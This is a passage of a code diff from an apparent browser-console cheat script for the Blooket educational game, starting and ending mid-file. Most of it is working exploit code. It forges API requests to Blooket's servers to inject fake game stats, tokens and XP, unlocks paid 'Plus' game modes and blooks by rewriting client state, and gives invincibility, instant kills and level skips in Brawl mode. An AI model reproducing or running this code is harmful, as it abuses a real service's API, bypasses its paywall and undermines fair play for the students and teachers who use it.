xp", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (!location.href.includes("play.blooket.com")) (alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/")); + else { + const cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache), + axios = cache.find((x) => x.exports?.a?.get).exports.a; + axios.post("https://play.blooket.com/api/playersessions/solo", { + gameMode: "Factory", + questionSetId: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math.floor(Math.random() * 24)] + }).then(async ({ data: { t } }) => { + await axios.post("https://play.blooket.com/api/playersessions/landings", { t }); + const { name, blook: { name: blookUsed } } = await cache.find(x => x.exports.a?.me).exports.a.me({}).catch(() => alert('There was an error getting user data.')); + await axios.put("https://play.blooket.com/api/users/factorystats", { + blookUsed, t, name, + cash: Math.floor(Math.random() * 90000000) + 10000000, + correctAnswers: Math.floor(Math.random() * 500) + 500, + upgrades: Math.floor(Math.random() * 300) + 300, + mode: "Time-Solo", + nameUsed: "You", + place: 1, + playersDefeated: 0, + }).then(console.log); + axios.put("https://play.blooket.com/api/users/add-rewards", { t, name, addedTokens: 500, addedXp: 300 }) + .then(({ data: { dailyReward } }) => alert(`Added max tokens and xp, and got ${dailyReward} daily wheel tokens!`)) + .catch(() => alert('There was an error when adding rewards.')); + }); + } + } + }, + { + name: "Simulate Pack", + description: "Simulate opening a pack", + run: function () { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let packs = webpack('fGzD'); + packs = Object.keys(packs.a).reduce((obj, pack) => (obj.packs.includes(pack) && (obj.data[pack] = Object.fromEntries(packs.b(pack))), obj), { packs: Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt), data: {} }).data; + let box = prompt("Which box do you want to simulate? (ex: \"Ice Monster\")").split(' ').map(str => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase()).join(' '); + if (packs[box]) { + function weighted(pack) { + let weights = []; + const items = Object.keys(packs[pack]); + for (const key of items) weights.push(packs[pack][key] + (weights[items.indexOf(key) - 1] || 0)); + const choice = weights[weights.length - 1] * Math.random(); + return items[weights.findIndex(w => w >= choice)]; + } + const blook = weighted(box); + let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports; + let scene = {}; + + class Particles extends phaser.Scene { + constructor(rarity) { + super(); + this.rarity = rarity.toLowerCase(); + } + preload() { + switch (this.rarity) { + case "uncommon": + this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 }); + break; + case "rare": + this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 }); + break; + case "epic": + this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 }); + this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 }); + this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 }); + break; + case "legendary": + this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 }); + break; + case "chroma": + this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 }); + } + } + create() { + scene.scene = this; + scene.rarity = ""; + scene.particles = this.physics.add.group({ + classType: new phaser.Class({ + Extends: phaser.GameObjects.Image, + initialize: function () { + phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1"); + this.setDepth(3); + this.lifespan = 0; + }, + spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) { + this.setTexture(texture); + this.setActive(true); + this.setVisible(true); + this.setPosition(x, y); + this.setScale(scale); + this.targets = []; + scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity); + this.body.setGravityY(gravity); + this.body.setAngularVelocity(angle); + this.lifespan = lifespan; + }, + update: function (t, s) { + this.lifespan -= s; + if (this.lifespan > 0) return; + this.setActive(!1); + this.setVisible(!1); + } + }), + runChildUpdate: !0 + }); + this.nextParticle = 0; + this.numExplosions = 0; + this.game.events.on("start-particles", (t) => { + scene.rarity = t; + this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1; + }); + } + update(e, t) { + const I = webpack("74sb"); + let Z = function (e) { + switch (e) { + case "center": { + var t = Object(I.l)(-115, -65); + return { + x: scene.scene.cameras.main.worldView.width / 2, + y: scene.scene.cameras.main.worldView.height / 2, + scale: Object(I.l)(.7, 1), + angle: t, + velocity: Object(I.l)(600, 750), + gravity: 700, + angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175), + lifespan: 2500 + } + } + case "right-bottom": return { + x: scene.scene.cameras.main.worldView.width, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-160, -110), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-bottom": return { + x: 0, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-70, -20), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "top": return { + x: Object(I.l)(0, scene.scene.cameras.main.worldView.width), + y: -50, + scale: Object(I.l)(.7, 1), + angle: 90, + velocity: Object(I.l)(0, 50), + gravity: 700, + angVelocity: Object(I.l)(-150, 150), + lifespan: 2500 + }; + case "right-shower": return { + x: scene.scene.cameras.main.worldView.width, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-180, -130), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-shower": return { + x: 0, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-50, 0), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "right-diamond": { + var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: scene.scene.cameras.main.worldView.width, + y: a, + scale: Object(I.l)(.7, 1), + angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + } + } + case "left-diamond": { + var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: 0, + y: n, + scale: Object(I.l)(.7, 1), + angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + } + } + default: return {}; + } + }; + if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) { + switch (scene.rarity) { + case "Uncommon": { + for (let i = 0; i < 2; i++) { + let n = scene.particles.get(); + n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Rare": { + for (var o = 0; o < 2; o++) { + var r = scene.particles.get(); + r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Epic": { + for (var s = 0; s < 2; s++) { + var i = scene.particles.get(); + i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Legendary": { + for (var l = 0; l < 3; l++) { + var c = scene.particles.get(); + c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Chroma": { + for (var u = 0; u < 3; u++) { + var d = scene.particles.get(); + d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`)) + } + break; + } + } + this.nextParticle = 20; + this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0)); + } + } + } + const allBlooks = Object.values(webpack.c).find(x => x.exports?.a?.Elephant).exports.a; + stateNode.setState({ + loadingPack: false, + openPack: true, + unlockedBlook: blook, + tokens: stateNode.state.tokens, + newUnlock: true, + game: { + type: phaser.WEBGL, + parent: "phaser-market", + width: "100%", + height: "100%", + scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH }, + transparent: true, + physics: { default: "arcade" }, + scene: new Particles(allBlooks[blook].rarity) + }, + canOpen: true + }); + } else alert("I couldn't find that box!"); + } + }, + { + name: "Simulate Unlock", + description: "Simulate unlocking most of the blooks", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + if (window.location.pathname == "/market") { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + let values = Object.values(webpack.c), + blooks = values.find(x => x.exports?.a?.Black).exports.a, + packs = values.find(x => typeof x.exports.a?.Breakfast == "number").exports.a, + allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {}); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let phaser = values.find(x => x.exports?.Class).exports; + let L = new function e() { this.scene = null, this.particles = null, this.rarity = null }; + + class Particles extends phaser.Scene { + constructor(rarity) { + super(); + this.rarity = rarity.toLowerCase(); + } + preload() { + switch (this.rarity) { + case "uncommon": + this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 }); + break; + case "rare": + this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 }); + break; + case "epic": + this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 }); + this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 }); + this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 }); + break; + case "legendary": + this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 }); + break; + case "chroma": + this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 }); + } + } + create() { + L.scene = this; + L.rarity = ""; + L.particles = this.physics.add.group({ + classType: new phaser.Class({ + Extends: phaser.GameObjects.Image, + initialize: function () { + phaser.GameObjects.Image.call(this, L.scene, 0, 0, "uncommon-1"); + this.setDepth(3); + this.lifespan = 0; + }, + spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) { + this.setTexture(texture); + this.setActive(true); + this.setVisible(true); + this.setPosition(x, y); + this.setScale(scale); + this.targets = []; + L.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity); + this.body.setGravityY(gravity); + this.body.setAngularVelocity(angle); + this.lifespan = lifespan; + }, + update: function (t, s) { + this.lifespan -= s; + if (this.lifespan > 0) return; + this.setActive(!1); + this.setVisible(!1); + } + }), + runChildUpdate: !0 + }); + this.nextParticle = 0; + this.numExplosions = 0; + this.game.events.on("start-particles", (t) => { + L.rarity = t; + this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1; + }); + } + update(e, t) { + const I = webpack("74sb"); + let Z = function (e) { + switch (e) { + case "center": { + var t = Object(I.l)(-115, -65); + return { + x: L.scene.cameras.main.worldView.width / 2, + y: L.scene.cameras.main.worldView.height / 2, + scale: Object(I.l)(.7, 1), + angle: t, + velocity: Object(I.l)(600, 750), + gravity: 700, + angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175), + lifespan: 2500 + } + } + case "right-bottom": return { + x: L.scene.cameras.main.worldView.width, + y: L.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-160, -110), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-bottom": return { + x: 0, + y: L.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-70, -20), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "top": return { + x: Object(I.l)(0, L.scene.cameras.main.worldView.width), + y: -50, + scale: Object(I.l)(.7, 1), + angle: 90, + velocity: Object(I.l)(0, 50), + gravity: 700, + angVelocity: Object(I.l)(-150, 150), + lifespan: 2500 + }; + case "right-shower": return { + x: L.scene.cameras.main.worldView.width, + y: Object(I.l)(0, L.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-180, -130), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-shower": return { + x: 0, + y: Object(I.l)(0, L.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-50, 0), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "right-diamond": { + var a = Object(I.l)(0, L.scene.cameras.main.worldView.height); + return { + x: L.scene.cameras.main.worldView.width, + y: a, + scale: Object(I.l)(.7, 1), + angle: a > L.scene.cameras.main.worldView.height / 2 ? -150 : -210, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + } + } + case "left-diamond": { + var n = Object(I.l)(0, L.scene.cameras.main.worldView.height); + return { + x: 0, + y: n, + scale: Object(I.l)(.7, 1), + angle: n > L.scene.cameras.main.worldView.height / 2 ? -30 : 30, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + } + } + default: return {}; + } + }; + if (L.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) { + switch (L.rarity) { + case "Uncommon": { + for (let i = 0; i < 2; i++) { + let n = L.particles.get(); + n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Rare": { + for (var o = 0; o < 2; o++) { + var r = L.particles.get(); + r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Epic": { + for (var s = 0; s < 2; s++) { + var i = L.particles.get(); + i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Legendary": { + for (var l = 0; l < 3; l++) { + var c = L.particles.get(); + c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Chroma": { + for (var u = 0; u < 3; u++) { + var d = L.particles.get(); + d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`)) + } + break; + } + } + this.nextParticle = 20; + this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0)); + } + } + } + let blook = prompt("What blook do you want to simulate opening? (Case Sensitive)"); + if (allBlooks[blook]) stateNode.setState({ + loadingPack: false, + openPack: true, + unlockedBlook: blook, + tokens: stateNode.state.tokens, + newUnlock: true, + game: { + type: phaser.WEBGL, + parent: "phaser-market", + width: "100%", + height: "100%", + scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH }, + transparent: true, + physics: { default: "arcade" }, + scene: new Particles(allBlooks[blook].rarity) + }, + canOpen: true + }); + else if (blook) alert("Invalid blook! Make sure you spelled and capitalized it properly, the blook also needs a buyable pack in the market."); + } else alert("This can only be ran on the market page!"); + } + }, + { + name: "Use Any Blook", + description: "Allows you to play as any blook", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a; + if (location.pathname == "/blooks") stateNode.setState({ blookData: Object.keys(blooks).reduce((a, b) => (a[b] = (stateNode.state.blookData[b] || 1), a), {}), allSets: Object.values(blooks).reduce((a, b) => (a.includes(b.set) ? a : a.concat(b.set)), []) }); + else if (Array.isArray(stateNode.state.unlocks)) stateNode.setState({ unlocks: Object.keys(blooks) }); + else stateNode.setState({ unlocks: blooks }); + } + }, + { + name: "Unlock Plus Gamemodes", + description: "Allows you to play any gamemode that is plus only", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState(state => (state.gameModes.forEach(gm => gm.plusOnly = false), state)); + } + } + ], + brawl: [ + { + name: "Double Enemy XP", + description: "Doubles enemy XP drop value", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.val *= 2 } + enemies.children.entries.forEach(e => e.val *= 2); + } + } + }, + { + name: "Half Enemy Speed", + description: "Makes enemies move 2x slower", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.speed *= .5 } + enemies.children.entries.forEach(e => e.speed *= .5); + } + } + }, + { + name: "Instant Kill", + description: "Sets all enemies health to 1", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.hp = 1 } + enemies.children.entries.forEach(e => e.hp = 1); + } + } + }, + { + name: "Invincibility", + description: "Makes you invincible", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) collider.collideCallback = () => { }; + } + }, + { + name: "Magnet", + description: "Pulls all xp towards you", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('magnetTime')).collideCallback({ active: true }, { active: true, setActive() { }, setVisible() { } }); + } + }, + { + name: "Max Current Abilities", + description: "Maxes out all your current abilities", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + for (const [ability, level] of Object.entries(stateNode.state.abilities)) for (let i = 0; i < (10 - level); i++) stateNode.state.game.scene.game.events.emit("level up", ability, stateNode.state.abilities[ability]++); + stateNode.setState({ + level: stateNode.state.game.scene.level = [1, 3, 5, 10, 15, 25, 35].sort((a, b) => Math.abs(a - stateNode.state.level) - Math.abs(b - stateNode.state.level))[0] - 1 + }); + } + }, + { + name: "Next Level", + description: "Skips to the next level", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let { object1: player, object2: xp } = stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('emit("xp"')); + xp.get().spawn(player.x, player.y, ((e) => 1 === e ? 1 : e < 5 ? 5 : e < 10 ? 10 : e < 20 ? 20 : e < 30 ? 30 : e < 40 ? 40 : e < 50 ? 50 : 100)(stateNode.state.level) - stateNode.xp); + } + }, + { + name: "Remove Obstacles", + description: "Removes all rocks and obstacles", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(body => { + try { + if (body.gameObject.frame.texture.key.includes("obstacle")) body.gameObject.destroy(); + } catch { } + }); + } + }, + { + name: "Kill Enemies", + description: "Kills all current enemies", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1)); + } + }, + { + name: "Reset Health", + description: "Resets health and gives invincibility for 3 seconds", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn(); + } + } + ], + 